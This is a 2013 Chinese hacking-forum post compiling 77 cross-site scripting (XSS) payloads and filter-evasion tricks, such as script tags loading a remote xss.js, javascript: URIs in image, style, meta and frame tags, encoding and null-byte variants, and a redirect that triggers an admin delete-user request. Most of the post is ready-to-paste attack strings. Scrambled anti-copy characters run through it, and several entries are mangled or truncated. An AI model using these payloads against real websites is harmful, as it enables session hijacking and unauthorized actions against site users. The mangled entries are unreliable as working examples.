找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3008|回复: 0
打印 上一主题 下一主题

XSS攻击汇总

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:22:37 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
貌似关于xss的资料t00ls比较少,看见好东西Copy过来,不知道有木有童鞋需要Mark的。. M5 B: i2 r+ [' b' D2 r, C2 `; F( C
(1)普通的XSS JavaScript注入4 k: z- l$ q/ X& |. {" h% k3 g5 z
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
# z9 w" F. L+ h. i; f1 B7 d(2)IMG标签XSS使用JavaScript命令
4 {  M' E; v- X6 ]$ h3 H<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>! F5 B, D5 o6 q, H/ \. c; I
(3)IMG标签无分号无引号
  H2 ?4 a  X. i" q% Z$ I<IMG SRC=javascript:alert(‘XSS’)>7 e0 D* P/ i5 i5 x
(4)IMG标签大小写不敏感
8 k- }: v9 _  U8 z<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
4 `! N3 ]7 S5 d) }; j(5)HTML编码(必须有分号)
  W* @" H" H2 V4 z' g<IMG SRC=javascript:alert(“XSS”)>7 U& v6 Q9 {) d- x5 D1 K
(6)修正缺陷IMG标签
# }; B' I& o4 ]4 @<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>' Q! \7 T/ }( z8 s4 C
% {5 N) q. p3 X8 ^! h
/ ?  \& Z, B: W  W5 \* s
(7)formCharCode标签(计算器)
; M; D, H$ d, n. h3 @<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>7 `/ n8 {5 _2 _, b' @! v0 r9 `8 s
(8)UTF-8的Unicode编码(计算器)6 o2 p- K! C6 ?. n# g4 V
<IMG SRC=jav..省略..S')>+ {! ^  T# m* d
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)' s' R/ l  K% i- }+ {( P9 \8 g
<IMG SRC=jav..省略..S')>: l5 E' @) C0 C
(10)十六进制编码也是没有分号(计算器)3 h: l. c* w6 p
<IMG SRC=&#x6A&#x61&#x76&#x61..省略..&#x58&#x53&#x53&#x27&#x29>. o& z! D  d5 L' ]
(11)嵌入式标签,将Javascript分开
6 d4 \; N4 K+ e: s9 V2 ^# u, r<IMG SRC=”jav ascript:alert(‘XSS’);”>
% c& n% N1 a! X(12)嵌入式编码标签,将Javascript分开
* g7 ^; X) M+ ]1 p/ {5 o<IMG SRC=”jav ascript:alert(‘XSS’);”>
2 W' P0 p" |/ a9 N$ T% Q(13)嵌入式换行符
6 W. k' ]9 _; v& u: Q7 n6 [% O8 o6 [<IMG SRC=”jav ascript:alert(‘XSS’);”>
- V# s$ A$ c5 k/ J+ V7 A(14)嵌入式回车
9 N8 P5 P# s! P/ b<IMG SRC=”jav ascript:alert(‘XSS’);”>
) K6 c4 o, P$ \) s- }(15)嵌入式多行注入JavaScript,这是XSS极端的例子
+ |0 S$ A* I) T8 M<IMG SRC=”javascript:alert(‘XSS‘)”>+ N& r, a# J7 m6 N. M
(16)解决限制字符(要求同页面)
- f. k: h3 Q2 y6 O<script>z=’document.’</script>" A7 p. }4 ]. \$ x5 P) P
<script>z=z+’write(“‘</script>1 Q* t- f- l0 Y+ `3 D, x" g  @
<script>z=z+’<script’</script>
' i$ v/ z* y& w+ i<script>z=z+’ src=ht’</script>
6 K! H- [0 A* s3 ^$ V<script>z=z+’tp://ww’</script>
3 j2 R, k. q0 D- t  N<script>z=z+’w.shell’</script>
& ^. z) ^% [9 n# b0 k  ^% L<script>z=z+’.net/1.’</script>
4 a& l' S# I; D, M" F; Q3 G<script>z=z+’js></sc’</script>
2 v' h. a7 \1 O. c# @' R<script>z=z+’ript>”)’</script>
  F! W! z  Q" C, a/ K/ i<script>eval_r(z)</script>
4 U/ `* [/ D/ u: ^6 q' \$ |  y. b(17)空字符12-7-1 T00LS - Powered by Discuz! Board. o! d3 }( {: c& k) U6 K* z8 X, H' d
https://www.t00ls.net/viewthread ... table&tid=15267 2/6
6 ^; t# u# o$ g  C0 r( e+ y. F0 Fperl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out, z* e; ]/ y2 K5 e& m
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
6 _4 l0 y4 G1 [& \6 {# O8 iperl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
& ]" x5 `' d$ d(19)Spaces和meta前的IMG标签. {$ {8 N. V+ i& M8 m) _. {
<IMG SRC=” javascript:alert(‘XSS’);”>
+ N* m9 o8 B# Z4 p5 l(20)Non-alpha-non-digit XSS
+ h$ Q% f( X/ u" d1 W/ h( N: ^% z<SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>- L4 P6 `4 v9 f
(21)Non-alpha-non-digit XSS to 2
; S: F5 z7 `1 r<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>' K2 _& j+ I* ]+ Q. p$ o4 |" n
(22)Non-alpha-non-digit XSS to 35 n. |! H. R; [; T" u! s
<SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
7 d& r- A2 l! b( I  }* V( M(23)双开括号
- r- u  Z- ?9 i8 v' O- ]<<SCRIPT>alert(“XSS”);//<</SCRIPT>( y# c6 x* S/ V7 S! ~
(24)无结束脚本标记(仅火狐等浏览器)
) @1 W; ^( R/ s' R) x! S1 `/ e3 p' L  J" @<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
- v/ F- \  j, \/ C1 |: r(25)无结束脚本标记2
# m' f. a) U/ }- c- v  z<SCRIPT SRC=//3w.org/XSS/xss.js>& N5 V! @: K% w9 \1 J
(26)半开的HTML/JavaScript XSS5 z# w3 N7 w* C. \$ ~  q( `
<IMG SRC=”javascript:alert(‘XSS’)”
8 [8 D* K4 R: g2 L& @* I9 W: Y(27)双开角括号
% \' z7 }, F6 l<iframe src=http://3w.org/XSS.html <+ H# y4 @7 B* U3 |, y! x0 _
(28)无单引号 双引号 分号' a# G* t6 l  |1 \  a7 _& L# L
<SCRIPT>a=/XSS/
. s. u5 k9 x' o# O% zalert(a.source)</SCRIPT>
* y# C: ~  k. G(29)换码过滤的JavaScript5 X; z* h- F' y% b# a
\”;alert(‘XSS’);//
: U; }" l8 Z" {' V$ E% _# Y9 }! L(30)结束Title标签
1 m: R6 B* ^* L- e6 Y</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
/ [, T3 y# Q8 R! S; Y( b3 h(31)Input Image8 \% Z4 }1 N: r" D! t/ M. }
<INPUT SRC=”javascript:alert(‘XSS’);”>- g' c0 n* |6 }/ m5 s
(32)BODY Image2 @( A% C& j4 S! |+ c
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>4 Y& o; a6 y4 m+ U
(33)BODY标签* ^2 R: U' @1 e5 l/ T( i
<BODY(‘XSS’)>
% d9 b0 _- F/ y(34)IMG Dynsrc
2 P% K+ ?# o2 j7 a# y6 G<IMG DYNSRC=”javascript:alert(‘XSS’)”>) H( P9 A: E/ s7 i
(35)IMG Lowsrc0 ^5 E8 s- T6 V+ ^" ^
<IMG LOWSRC=”javascript:alert(‘XSS’)”>
; N# Q* ?$ T+ _0 O# A: `0 D(36)BGSOUND
) S7 \6 P( m* Z0 M<BGSOUND SRC=”javascript:alert(‘XSS’);”>
- X2 k- I3 I  k& d/ v4 w(37)STYLE sheet
; ^4 Z% F, q* V$ f* M<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
  l1 A8 ]& _. C8 |) y, D/ G; ](38)远程样式表
3 G1 O5 o6 G! R/ m% S7 s+ K2 B! ]<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>9 k( }1 [6 O. [: U
(39)List-style-image(列表式)
( A2 N4 j5 S4 E1 `# H<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS" w$ i3 E, ~& h3 B0 S# p6 l# I2 {5 Y4 |
(40)IMG VBscript
7 a$ ^: l- g' D7 P<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS
, A6 B0 f( J8 T- z% V) c) ~/ M(41)META链接url# A, \+ o) w* K$ ^$ \/ f8 N
' b4 b9 w6 O2 w; q/ z$ i
, \3 H, D: q: ~: r: V6 i4 [% \1 O& W
<META HTTP-EQUIV=”refresh” CONTENT=”0;
6 n. v8 z, Q" y1 BURL=http://;URL=javascript:alert(‘XSS’);”>* R* m( h" |" s' ]( y
(42)Iframe7 d9 [5 b8 J: d5 `0 ]
<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>, T" s& l: W) _; A
(43)Frame
6 c" K  H# N4 P# r<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>12-7-1 T00LS - Powered by Discuz! Board- d# K0 P# B: F' t, Y/ o! j
https://www.t00ls.net/viewthread ... table&tid=15267 3/6
4 K  \; b  m  `3 p- n(44)Table/ x- P0 r  F# g4 {# O
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>% I2 D+ m" ?$ S0 E% ~; x. j
(45)TD
2 s" L- Q0 n4 z: n( i1 q<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
# \( S! r5 U& y3 ]# Y(46)DIV background-image
& c& X9 l7 e7 V- ?1 y0 J! t<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>' V' N2 l+ M  [1 D! ^3 S) p/ u
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-
) ~0 l7 f2 u7 a; c- O' ^8&13&12288&65279): x/ K+ o# @) U. j) I- `7 k( q
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”># V* w5 T+ _! q% F% t
(48)DIV expression) T, _9 v# C# ?. A: J
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>7 f6 u5 }7 m/ h6 z$ S
(49)STYLE属性分拆表达
: v, @1 n6 P9 B# P<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
- J1 d) ^% K% a% y. x1 U# `4 m(50)匿名STYLE(组成:开角号和一个字母开头)
7 s4 r$ ?9 x# `0 M. Y4 c<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>, U* Z9 }# V+ L
(51)STYLE background-image, T9 S5 E6 f2 _; b# o3 h
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A
5 \2 k) m! C, Y) ^  Y, O% h3 |CLASS=XSS></A>
+ \" F1 J# h5 ](52)IMG STYLE方式
# F% O* W% _% m8 Y$ N2 U0 k- t& ]exppression(alert(“XSS”))’>5 d. J- Z  {1 h9 d  z. M9 X
(53)STYLE background0 O1 ^' K- P/ J1 z! S* o: @8 R! R
<STYLE><STYLE
& c, `% U# D' ^( mtype=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>0 L3 m+ f2 t8 U. Z4 d3 S5 y
(54)BASE9 m% n; {" [# t9 E( O% e2 N6 ^
<BASE HREF=”javascript:alert(‘XSS’);//”>
) ]1 p' S  u1 i8 ]/ ]9 g(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS4 w& }" [% v* |* U( L3 b
<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>
( o6 Y* u9 Q, y' t! F+ V; f(56)在flash中使用ActionScrpt可以混进你XSS的代码' ?/ N) ^6 n" K, C
a=”get”;
9 u4 [. E+ Q; f% Z" g) n* T) Eb=”URL(\”";
4 k0 ?+ B0 u0 v% g' _9 `c=”javascript:”;
. p% o' R% S$ R/ |% j$ O8 H" cd=”alert(‘XSS’);\”)”;
: K( K8 ?. ^' P# Qeval_r(a+b+c+d);* y. J+ d4 T' p" g: q  P
(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上  Z) j4 F$ K3 }4 \8 f" _. r
<HTML xmlns:xss>! O, w. c0 ?) l/ g% X
<?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>! |4 l) Q# y# t
<xss:xss>XSS</xss:xss>0 w- a4 w) {  a/ L" L/ `( y
</HTML>8 q. N. @% m* ?) e" J0 {: U
(58)如果过滤了你的JS你可以在图片里添加JS代码来利用
7 h3 X1 P7 H6 x7 I<SCRIPT SRC=””></SCRIPT>
9 Q7 i2 {8 W4 ?, @(59)IMG嵌入式命令,可执行任意命令
, U0 M. K; c6 o<IMG SRC=”http://www.XXX.com/a.php?a=b”>: J9 f: v/ `, a/ d( f$ e8 `
(60)IMG嵌入式命令(a.jpg在同服务器)
8 g& T6 m( \6 H8 YRedirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser7 T& E/ }& ?* }6 V: o! C5 V
(61)绕符号过滤1 w. I* C, M  u  r* W5 A% S$ s
<SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>! w4 I- n4 S1 L/ L1 J1 Z* G
(62)
6 J) x" s) b# m* M' j<SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>
$ \* z* |# x4 X(63)
+ Q& f: ~3 d. n9 Y  w5 o/ Y. M<SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>, ~( s+ M4 n) ]3 t+ J
(64)# r; X4 k) v. v4 Z
<SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>
2 c7 x+ _" x7 r& E; }% ?8 S4 y(65)
- c: H! P! G: j& u: [/ m  d<SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>
: R' t+ f6 w6 [& w0 y+ b6 |(66)12-7-1 T00LS - Powered by Discuz! Board
: K1 ?) p# _8 i) H) Thttps://www.t00ls.net/viewthread ... table&tid=15267 4/6. ~; [  S; g1 c  S7 {8 A* p/ D
<SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>
# f7 t" v( ?0 g# @6 h; N(67)
* l5 V1 p* g( Q6 u) ~  s<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”>* N& W3 d3 g- w1 i  a) j1 k# Q, _* D: G
</SCRIPT>
; v8 V7 ?7 y) O) ]+ E4 j3 q8 `(68)URL绕行
8 i( ~8 L) C( D: o1 ^/ Y<A HREF=”http://127.0.0.1/”>XSS</A>
. N3 o, u6 K* Q. h' U4 \(69)URL编码& J! b1 d3 z* U- ?( ?* H
<A HREF=”http://3w.org”>XSS</A>) J: O8 G: f9 u! v! y1 O% |
(70)IP十进制
/ v. M: `4 n% [. h+ P& m<A HREF=”http://3232235521″>XSS</A>* c7 h3 o: W" X9 h7 Y
(71)IP十六进制! ?( g- n( f/ p! ^/ ^) `' i! a
<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>
+ c, ^( c, s% A! Y& S(72)IP八进制6 d/ d+ q6 D9 e9 i! P
<A HREF=”http://0300.0250.0000.0001″>XSS</A># a9 K" U: g3 E( D: W% M
(73)混合编码. b" u4 p7 H' D" o0 m- P
<A HREF=”h
' F+ d' k: u6 {7 E6 ~* r+ \tt p://6 6.000146.0×7.147/”">XSS</A>2 {4 t1 ^4 n, g- g! C3 u
(74)节省[http:]3 E5 v6 Z; f7 v7 i* l% N' O& K
<A HREF=”//www.google.com/”>XSS</A>
* D' z. }% ^, y/ p# M# V(75)节省[www]
! d! T! d( |+ E<A HREF=”http://google.com/”>XSS</A>
. L7 O3 i0 v" G" K  R1 f(76)绝对点绝对DNS) {1 I# [$ d2 @0 S- ^% K
<A HREF=”http://www.google.com./”>XSS</A>! q: [, `$ y9 ^9 w9 r7 P8 A3 H
(77)javascript链接
) _" k; q5 O! J" V# x0 d5 i<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>
$ M. \, e/ Q  l, a0 A8 [1 S9 ~- p- c+ F5 p% D$ N+ o6 S5 F
原文地址:http://fuzzexp.org/u/0day/?p=14
6 J/ v; r8 D8 q( x$ c# `  `  [; [! G8 w% k1 s
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表